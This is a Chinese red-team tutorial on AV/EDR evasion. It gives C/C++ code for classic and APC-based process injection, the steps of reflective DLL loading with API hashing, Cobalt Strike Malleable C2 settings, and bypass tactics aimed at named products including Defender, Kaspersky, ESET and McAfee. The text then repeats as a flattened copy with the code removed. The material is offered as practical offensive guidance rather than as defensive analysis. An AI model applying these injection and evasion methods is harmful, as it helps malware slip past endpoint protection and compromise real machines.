红队开发基础-基础免杀(四)
字数 1807 2025-08-26 22:11:23

红队开发基础:反射型DLL注入与柔性加载技术详解

1. 反射型DLL注入技术

1.1 传统DLL注入的问题

传统DLL注入方法存在几个高危特征点:

int main(int argc, char *argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
    
    printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    
    PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
    
    CloseHandle(processHandle);
    return 0;
}

高危特征分析

  1. 从磁盘读取DLL需要考虑静态免杀
  2. 使用GetProcAddress获取LoadLibraryW函数地址,这种调用模式容易被AV/EDR检测
  3. CreateRemoteThread进行远程线程注入行为本身就很可疑
  4. 参数为LoadLibraryW的地址,特征明显

1.2 反射型DLL注入原理

反射型DLL注入的核心思想是自己实现LoadLibrary功能,直接从内存加载DLL而不依赖系统API。

实现流程

  1. 将DLL写入目标进程内存
  2. 调用DLL中的ReflectiveLoader函数(自定义的加载器)
  3. ReflectiveLoader完成以下工作:
    • 解析所需API地址
    • 将DLL及其节写入内存
    • 建立导入表
    • 修复重定位表
    • 调用DLL入口点

1.3 具体实现步骤

1.3.1 加载器部分

  1. Shellcode解密

    • 使用AES等加密算法加密payload
    • 运行时解密载入内存
  2. 获取ReflectiveLoader偏移

    // 计算ReflectLoader函数在内存中的偏移
    DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(pLibraryBuffer);
    
  3. 调用ReflectiveLoader

    // 创建线程调用ReflectLoader函数
    lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pLibraryBuffer + dwReflectiveLoaderOffset);
    hThread = CreateThread(NULL, 0, lpReflectiveLoader, lpParameter, 0, NULL);
    

1.3.2 DLL部分 - ReflectiveLoader功能

  1. 解析所需API地址

    • 通过函数hash在内存中搜索关键API(如VirtualAlloc、LoadLibraryA等)
    • 避免直接调用GetProcAddress

    函数hash示例

    // 计算函数hash的算法
    DWORD hash = 0;
    while (*name) {
        hash = ((hash << 13) | (hash >> 19)) ^ *name++;
    }
    
  2. 内存写入DLL

    • 将DLL及其节按PE结构要求写入分配的内存
  3. 建立导入表

    • 解析DLL的导入表
    • 获取依赖DLL(如ntdll.dll、kernel32.dll)的API地址
  4. 修复重定位表

    • 根据DLL的实际加载地址调整重定位项
    • 确保代码中的地址引用正确
  5. 调用DLL入口点

    • 最终调用DllMain执行恶意代码

2. 柔性加载技术

柔性加载(Malleable C2)是Cobalt Strike提供的一种配置文件技术,用于定制Beacon的行为特征。

2.1 推荐配置

set startrwx "false";    // 禁止初始内存为RWX
set userwx "false";     // 禁止用户模式内存为WX
set cleanup "true";     // 启用内存清理
set stomppe "true";     // 启用PE文件头混淆
set obfuscate "true";   // 启用混淆
set sleep_mask "true";  // 启用睡眠时内存混淆
set smartinject "true"; // 启用智能注入

2.2 内存属性控制

  • 避免使用RWX(可读可写可执行)内存区域
  • 使用RefleXXion工具实现内存加密:
    • 方法1:将shellcode加密并使属性为RW或RX
    • 方法2:将内存设为NO_ACCESS并通过异常处理还原

3. 免杀实践技巧

3.1 Shellcode混淆技术

  1. Base64+XOR混淆

    std::string rest2_reference = "xxx@@";
    std::string rest3_reference = replace(rest2_reference, ...);
    
  2. 分片写入技术

    • 将shellcode分片写入连续内存
    • 避免大块可执行内存特征

3.2 注入技术选择

  1. 避免CreateRemoteThread

    // 使用APC和创建进程的方式
    SIZE_T shellSize = 4096;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);
    
  2. 使用原生系统调用(Native API)

    // 使用NtCreateThreadEx替代CreateRemoteThread
    ANtCTE(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), 
           (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr);
    WaitForSingleObject(hThread, INFINITE);
    

3.3 流量特征隐藏

  1. 设置流量白名单

    • 限制C2通信的目标IP和端口
    • 使用合法的域名进行通信
  2. 加密通信内容

    • 使用强加密算法保护C2通信
    • 避免明文协议特征

4. 对抗不同EDR的策略

4.1 火绒/Defender

  • 使用Base64+XOR混淆shellcode
  • 避免直接出现明显的恶意API调用模式
  • 分片写入内存技术有效

4.2 McAfee

  • 反射加载技术有效
  • 配合内存属性控制

4.3 Kaspersky Endpoint

  • 避免使用常规注入技术
  • 使用APC和进程创建方式
  • 注意网络通信特征

4.4 ESET Endpoint Security

  • 使用RefleXXion工具的内存加密技术
  • 方法1:RW或RX属性+加密
  • 方法2:NO_ACCESS+异常处理(但可能导致功能问题)
  • 严格控制网络流量特征

5. 总结与进阶方向

5.1 技术总结

  • 反射型DLL注入避免了传统注入的可疑行为
  • 柔性加载配置可以降低内存和行为特征
  • 不同的EDR需要针对性的绕过策略
  • 用户态技术已能绕过大多数AV/EDR

5.2 进阶方向

  1. 内核层面绕过

    • 对抗炭黑、FireEye等高级EDR
    • 驱动级对抗技术
  2. 流量层面免杀

    • 更隐蔽的C2通信协议
    • 流量混淆技术
  3. 行为混淆

    • 更真实的进程行为模拟
    • 减少可疑API调用

附录:参考资源

  1. ReflectiveDLL注入项目
  2. Cobalt Strike Malleable C2配置文件指南
  3. EDR-Bypass-demo源码
  4. Driver-based Attacks Past and Present
红队开发基础:反射型DLL注入与柔性加载技术详解 1. 反射型DLL注入技术 1.1 传统DLL注入的问题 传统DLL注入方法存在几个高危特征点: 高危特征分析 : 从磁盘读取DLL需要考虑静态免杀 使用 GetProcAddress 获取 LoadLibraryW 函数地址,这种调用模式容易被AV/EDR检测 CreateRemoteThread 进行远程线程注入行为本身就很可疑 参数为 LoadLibraryW 的地址,特征明显 1.2 反射型DLL注入原理 反射型DLL注入的核心思想是 自己实现LoadLibrary功能 ,直接从内存加载DLL而不依赖系统API。 实现流程 : 将DLL写入目标进程内存 调用DLL中的 ReflectiveLoader 函数(自定义的加载器) ReflectiveLoader 完成以下工作: 解析所需API地址 将DLL及其节写入内存 建立导入表 修复重定位表 调用DLL入口点 1.3 具体实现步骤 1.3.1 加载器部分 Shellcode解密 : 使用AES等加密算法加密payload 运行时解密载入内存 获取ReflectiveLoader偏移 : 调用ReflectiveLoader : 1.3.2 DLL部分 - ReflectiveLoader功能 解析所需API地址 : 通过函数hash在内存中搜索关键API(如VirtualAlloc、LoadLibraryA等) 避免直接调用 GetProcAddress 函数hash示例 : 内存写入DLL : 将DLL及其节按PE结构要求写入分配的内存 建立导入表 : 解析DLL的导入表 获取依赖DLL(如ntdll.dll、kernel32.dll)的API地址 修复重定位表 : 根据DLL的实际加载地址调整重定位项 确保代码中的地址引用正确 调用DLL入口点 : 最终调用DllMain执行恶意代码 2. 柔性加载技术 柔性加载(Malleable C2)是Cobalt Strike提供的一种配置文件技术,用于定制Beacon的行为特征。 2.1 推荐配置 2.2 内存属性控制 避免使用RWX(可读可写可执行)内存区域 使用RefleXXion工具实现内存加密: 方法1:将shellcode加密并使属性为RW或RX 方法2:将内存设为NO_ ACCESS并通过异常处理还原 3. 免杀实践技巧 3.1 Shellcode混淆技术 Base64+XOR混淆 : 分片写入技术 : 将shellcode分片写入连续内存 避免大块可执行内存特征 3.2 注入技术选择 避免CreateRemoteThread : 使用原生系统调用(Native API) : 3.3 流量特征隐藏 设置流量白名单 : 限制C2通信的目标IP和端口 使用合法的域名进行通信 加密通信内容 : 使用强加密算法保护C2通信 避免明文协议特征 4. 对抗不同EDR的策略 4.1 火绒/Defender 使用Base64+XOR混淆shellcode 避免直接出现明显的恶意API调用模式 分片写入内存技术有效 4.2 McAfee 反射加载技术有效 配合内存属性控制 4.3 Kaspersky Endpoint 避免使用常规注入技术 使用APC和进程创建方式 注意网络通信特征 4.4 ESET Endpoint Security 使用RefleXXion工具的内存加密技术 方法1:RW或RX属性+加密 方法2:NO_ ACCESS+异常处理(但可能导致功能问题) 严格控制网络流量特征 5. 总结与进阶方向 5.1 技术总结 反射型DLL注入避免了传统注入的可疑行为 柔性加载配置可以降低内存和行为特征 不同的EDR需要针对性的绕过策略 用户态技术已能绕过大多数AV/EDR 5.2 进阶方向 内核层面绕过 : 对抗炭黑、FireEye等高级EDR 驱动级对抗技术 流量层面免杀 : 更隐蔽的C2通信协议 流量混淆技术 行为混淆 : 更真实的进程行为模拟 减少可疑API调用 附录:参考资源 ReflectiveDLL注入项目 Cobalt Strike Malleable C2配置文件指南 EDR-Bypass-demo源码 Driver-based Attacks Past and Present